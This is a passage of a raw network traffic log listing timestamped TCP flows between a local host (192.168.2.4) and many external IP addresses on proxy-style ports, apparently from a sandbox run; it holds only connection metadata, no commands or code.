Feb 23, 2024 09:45:17.422995090 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.423007011 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.423018932 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.423027992 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.423032045 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.423055887 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.423091888 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.423111916 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.423116922 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.423122883 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.423145056 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.423192978 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.423204899 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.423216105 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.423254013 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.424341917 CET	45314	50307	104.238.100.115	192.168.2.4
Feb 23, 2024 09:45:17.424369097 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.425462961 CET	83	49802	103.155.54.38	192.168.2.4
Feb 23, 2024 09:45:17.427999020 CET	50426	80	192.168.2.4	68.188.59.198
Feb 23, 2024 09:45:17.428020000 CET	50516	3128	192.168.2.4	154.83.8.59
Feb 23, 2024 09:45:17.429385900 CET	2955	50397	72.10.160.172	192.168.2.4
Feb 23, 2024 09:45:17.430443048 CET	80	50539	211.222.252.187	192.168.2.4
Feb 23, 2024 09:45:17.430454016 CET	80	50539	211.222.252.187	192.168.2.4
Feb 23, 2024 09:45:17.433363914 CET	50539	80	192.168.2.4	211.222.252.187
Feb 23, 2024 09:45:17.443649054 CET	50388	999	192.168.2.4	191.97.16.160
Feb 23, 2024 09:45:17.443667889 CET	50494	8080	192.168.2.4	103.165.222.190
Feb 23, 2024 09:45:17.443671942 CET	50419	80	192.168.2.4	50.218.57.69
Feb 23, 2024 09:45:17.443672895 CET	50493	8080	192.168.2.4	66.27.58.70
Feb 23, 2024 09:45:17.443675995 CET	50498	4153	192.168.2.4	45.115.115.42
Feb 23, 2024 09:45:17.443679094 CET	50090	8089	192.168.2.4	125.87.89.228
Feb 23, 2024 09:45:17.443682909 CET	50154	80	192.168.2.4	14.43.238.82
Feb 23, 2024 09:45:17.443687916 CET	50116	8080	192.168.2.4	112.205.92.14
Feb 23, 2024 09:45:17.443691969 CET	50431	30783	192.168.2.4	67.43.228.253
Feb 23, 2024 09:45:17.443701982 CET	50230	3128	192.168.2.4	186.156.161.235
Feb 23, 2024 09:45:17.443701982 CET	50240	3128	192.168.2.4	83.219.145.106
Feb 23, 2024 09:45:17.443718910 CET	49786	80	192.168.2.4	154.113.121.60
Feb 23, 2024 09:45:17.443718910 CET	50505	8080	192.168.2.4	103.248.120.5
Feb 23, 2024 09:45:17.443718910 CET	50508	43209	192.168.2.4	172.93.111.235
Feb 23, 2024 09:45:17.443722010 CET	49894	31979	192.168.2.4	51.77.73.67
Feb 23, 2024 09:45:17.443731070 CET	50296	10801	192.168.2.4	95.111.91.50
Feb 23, 2024 09:45:17.443732023 CET	50318	80	192.168.2.4	82.208.111.19
Feb 23, 2024 09:45:17.443736076 CET	49994	14313	192.168.2.4	67.43.228.253
Feb 23, 2024 09:45:17.443783045 CET	49982	1611	192.168.2.4	72.10.160.170
Feb 23, 2024 09:45:17.445372105 CET	50517	4145	192.168.2.4	24.249.199.12
Feb 23, 2024 09:45:17.446593046 CET	9002	50336	39.165.0.137	192.168.2.4
Feb 23, 2024 09:45:17.447271109 CET	9002	50336	39.165.0.137	192.168.2.4
Feb 23, 2024 09:45:17.447283983 CET	9002	50336	39.165.0.137	192.168.2.4
Feb 23, 2024 09:45:17.447813988 CET	1080	50469	27.65.116.243	192.168.2.4
Feb 23, 2024 09:45:17.447839975 CET	50336	9002	192.168.2.4	39.165.0.137
Feb 23, 2024 09:45:17.448380947 CET	50469	1080	192.168.2.4	27.65.116.243
Feb 23, 2024 09:45:17.452533007 CET	33829	50126	103.162.31.91	192.168.2.4
Feb 23, 2024 09:45:17.453059912 CET	52420	50255	162.214.102.121	192.168.2.4
Feb 23, 2024 09:45:17.457221985 CET	1082	49736	181.209.113.234	192.168.2.4
Feb 23, 2024 09:45:17.459229946 CET	50406	80	192.168.2.4	149.202.172.113
Feb 23, 2024 09:45:17.459229946 CET	50521	37881	192.168.2.4	107.180.88.41
Feb 23, 2024 09:45:17.459242105 CET	50523	5678	192.168.2.4	103.112.254.66
Feb 23, 2024 09:45:17.459248066 CET	50392	6969	192.168.2.4	190.61.32.168
Feb 23, 2024 09:45:17.460290909 CET	4145	50520	199.102.107.145	192.168.2.4
Feb 23, 2024 09:45:17.460303068 CET	4145	50520	199.102.107.145	192.168.2.4
Feb 23, 2024 09:45:17.460522890 CET	80	50577	104.16.207.86	192.168.2.4
Feb 23, 2024 09:45:17.460566044 CET	80	50577	104.16.207.86	192.168.2.4
Feb 23, 2024 09:45:17.461492062 CET	80	50577	104.16.207.86	192.168.2.4
Feb 23, 2024 09:45:17.461999893 CET	50577	80	192.168.2.4	104.16.207.86
Feb 23, 2024 09:45:17.462178946 CET	26589	50549	157.185.161.100	192.168.2.4
Feb 23, 2024 09:45:17.462543964 CET	3128	50043	185.105.230.45	192.168.2.4
Feb 23, 2024 09:45:17.466593027 CET	9229	50124	201.238.248.139	192.168.2.4
Feb 23, 2024 09:45:17.466713905 CET	80	50578	172.67.53.215	192.168.2.4
Feb 23, 2024 09:45:17.466761112 CET	80	50578	172.67.53.215	192.168.2.4
Feb 23, 2024 09:45:17.466789961 CET	50124	9229	192.168.2.4	201.238.248.139
Feb 23, 2024 09:45:17.467427969 CET	80	50578	172.67.53.215	192.168.2.4
Feb 23, 2024 09:45:17.467931986 CET	3128	50182	94.142.142.140	192.168.2.4
Feb 23, 2024 09:45:17.469368935 CET	50578	80	192.168.2.4	172.67.53.215
Feb 23, 2024 09:45:17.474886894 CET	50059	16703	192.168.2.4	72.10.160.93
Feb 23, 2024 09:45:17.474886894 CET	50526	37901	192.168.2.4	5.161.98.204
Feb 23, 2024 09:45:17.474894047 CET	50460	2191	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:17.474910021 CET	50529	999	192.168.2.4	201.71.3.42
Feb 23, 2024 09:45:17.474910021 CET	49765	18681	192.168.2.4	67.43.228.250
Feb 23, 2024 09:45:17.474912882 CET	50052	8635	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:17.474912882 CET	50330	80	192.168.2.4	50.200.12.86
Feb 23, 2024 09:45:17.475178003 CET	80	50098	190.58.248.86	192.168.2.4
Feb 23, 2024 09:45:17.475208998 CET	49749	80	192.168.2.4	96.113.159.162
Feb 23, 2024 09:45:17.475217104 CET	50530	999	192.168.2.4	154.212.7.250
Feb 23, 2024 09:45:17.480706930 CET	30001	49826	111.3.102.135	192.168.2.4
Feb 23, 2024 09:45:17.482278109 CET	4145	50585	174.77.111.196	192.168.2.4
Feb 23, 2024 09:45:17.483032942 CET	8080	50141	190.19.114.104	192.168.2.4
Feb 23, 2024 09:45:17.483428001 CET	30001	49826	111.3.102.135	192.168.2.4
Feb 23, 2024 09:45:17.483465910 CET	50585	4145	192.168.2.4	174.77.111.196
Feb 23, 2024 09:45:17.483577013 CET	30001	49826	111.3.102.135	192.168.2.4
Feb 23, 2024 09:45:17.487426043 CET	49826	30001	192.168.2.4	111.3.102.135
Feb 23, 2024 09:45:17.490210056 CET	4145	49798	72.195.114.169	192.168.2.4
Feb 23, 2024 09:45:17.490282059 CET	4145	50301	104.200.135.46	192.168.2.4
Feb 23, 2024 09:45:17.490293980 CET	4145	50305	199.102.106.94	192.168.2.4
Feb 23, 2024 09:45:17.490303993 CET	34090	50583	195.30.84.218	192.168.2.4
Feb 23, 2024 09:45:17.490314007 CET	49798	4145	192.168.2.4	72.195.114.169
Feb 23, 2024 09:45:17.490519047 CET	5678	50006	130.193.123.34	192.168.2.4
Feb 23, 2024 09:45:17.490570068 CET	50583	34090	192.168.2.4	195.30.84.218
Feb 23, 2024 09:45:17.491848946 CET	5678	50246	109.205.243.10	192.168.2.4
Feb 23, 2024 09:45:17.492783070 CET	3128	50115	37.53.103.4	192.168.2.4
Feb 23, 2024 09:45:17.493382931 CET	50115	3128	192.168.2.4	37.53.103.4
Feb 23, 2024 09:45:17.495954990 CET	80	50133	223.27.144.51	192.168.2.4
Feb 23, 2024 09:45:17.496262074 CET	54450	49911	171.226.88.162	192.168.2.4
Feb 23, 2024 09:45:17.498083115 CET	60870	50486	141.94.174.6	192.168.2.4
Feb 23, 2024 09:45:17.504513979 CET	4145	49864	72.37.216.68	192.168.2.4
Feb 23, 2024 09:45:17.504590988 CET	50486	60870	192.168.2.4	141.94.174.6
Feb 23, 2024 09:45:17.504642010 CET	50393	34041	192.168.2.4	185.225.200.247
Feb 23, 2024 09:45:17.504642963 CET	50069	25053	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:17.505368948 CET	50427	80	192.168.2.4	50.222.245.40
Feb 23, 2024 09:45:17.505369902 CET	50071	25341	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:17.505369902 CET	50199	4153	192.168.2.4	103.117.109.9
Feb 23, 2024 09:45:17.505377054 CET	50183	8000	192.168.2.4	128.199.252.22
Feb 23, 2024 09:45:17.506135941 CET	39873	50395	103.37.82.134	192.168.2.4
Feb 23, 2024 09:45:17.506167889 CET	50377	33429	192.168.2.4	193.106.57.7
Feb 23, 2024 09:45:17.506237030 CET	50395	39873	192.168.2.4	103.37.82.134
Feb 23, 2024 09:45:17.513917923 CET	50578	50496	192.169.226.96	192.168.2.4
Feb 23, 2024 09:45:17.513946056 CET	3128	49853	46.101.102.134	192.168.2.4
Feb 23, 2024 09:45:17.515938044 CET	4145	50566	24.249.199.4	192.168.2.4
Feb 23, 2024 09:45:17.515986919 CET	50496	50578	192.168.2.4	192.169.226.96
Feb 23, 2024 09:45:17.516230106 CET	4145	50566	24.249.199.4	192.168.2.4
Feb 23, 2024 09:45:17.517200947 CET	26589	50586	157.185.161.100	192.168.2.4
Feb 23, 2024 09:45:17.517410040 CET	50586	26589	192.168.2.4	157.185.161.100
Feb 23, 2024 09:45:17.522027969 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.522057056 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.522075891 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.522151947 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.522182941 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.522275925 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.522301912 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.522317886 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.522382975 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.522397995 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.522456884 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.522456884 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.522463083 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.522552967 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.522605896 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.522629976 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.522675037 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.522722960 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.522902012 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.522926092 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.522984982 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.523015976 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.523062944 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.523154020 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.523220062 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.523247004 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.523293972 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.523329020 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.523346901 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.523431063 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.523459911 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.523597956 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.523947001 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.524013042 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.524039984 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.524095058 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.524120092 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.524172068 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.524221897 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.524291992 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.524318933 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.524420023 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.524447918 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.524494886 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.524617910 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.524681091 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.524709940 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.524735928 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.524763107 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.524943113 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.525113106 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.525141954 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.525259972 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.525321007 CET	51778	49933	192.169.226.96	192.168.2.4
Feb 23, 2024 09:45:17.525397062 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.525425911 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.525439978 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.525480986 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.525579929 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.525610924 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.525623083 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.525650978 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.525680065 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.525722027 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.525818110 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.525845051 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.525866032 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.525908947 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.525954962 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.525971889 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.526148081 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.526175976 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.526223898 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.526249886 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.526344061 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.526388884 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.526457071 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.526489019 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.526498079 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.526534081 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.526576042 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.526813030 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.526851892 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.526878119 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.526989937 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.527019978 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.527204990 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.527324915 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.527385950 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.527415991 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.527463913 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.527489901 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.527671099 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.527884960 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.527972937 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.527997017 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.528047085 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.528069973 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.528130054 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.528198004 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.528249025 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.528276920 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.528330088 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.528357029 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.528384924 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.528449059 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.528520107 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.528544903 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.528582096 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.528609037 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.528667927 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.528729916 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.528770924 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.528791904 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.528841972 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.528863907 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.528937101 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.529006958 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.529084921 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.529109955 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.529185057 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.529211044 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.529251099 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.529301882 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.529371977 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.529468060 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.529561043 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.529628992 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.529656887 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.529716015 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.529747009 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.529831886 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.529978037 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.530035973 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.530059099 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.530127048 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.530148983 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.532105923 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.532234907 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.532335043 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.532370090 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.532381058 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.532402039 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.532494068 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.532514095 CET	10919	50499	98.178.72.21	192.168.2.4
Feb 23, 2024 09:45:17.532538891 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.532553911 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.532560110 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.532593012 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.532608032 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.532632113 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.532632113 CET	50499	10919	192.168.2.4	98.178.72.21
Feb 23, 2024 09:45:17.532661915 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.532676935 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.532743931 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.532769918 CET	50110	29129	192.168.2.4	72.10.160.90
Feb 23, 2024 09:45:17.532795906 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.532844067 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.532866001 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.532885075 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.532900095 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.532905102 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.532963037 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.532979012 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.532995939 CET	3128	50288	85.214.244.174	192.168.2.4
Feb 23, 2024 09:45:17.532999992 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.533011913 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.533027887 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.533036947 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.533046007 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.533061981 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.533066034 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.533118963 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.533134937 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.533143044 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.533152103 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.533181906 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.533200979 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.533246040 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.533277988 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.533297062 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.533375978 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.533401012 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.533421993 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.533466101 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.533490896 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.533515930 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.533590078 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.533737898 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.533770084 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.533838987 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.533866882 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.533938885 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.534087896 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.534137011 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.534162998 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.534173965 CET	8080	50039	195.206.39.222	192.168.2.4
Feb 23, 2024 09:45:17.534195900 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.534224987 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.534276962 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.534389019 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.534776926 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.534832954 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.534848928 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.534849882 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.534878969 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.534900904 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.534929037 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.534957886 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.535041094 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.535195112 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.535218000 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.535238028 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.535258055 CET	50095	31602	192.168.2.4	49.13.116.170
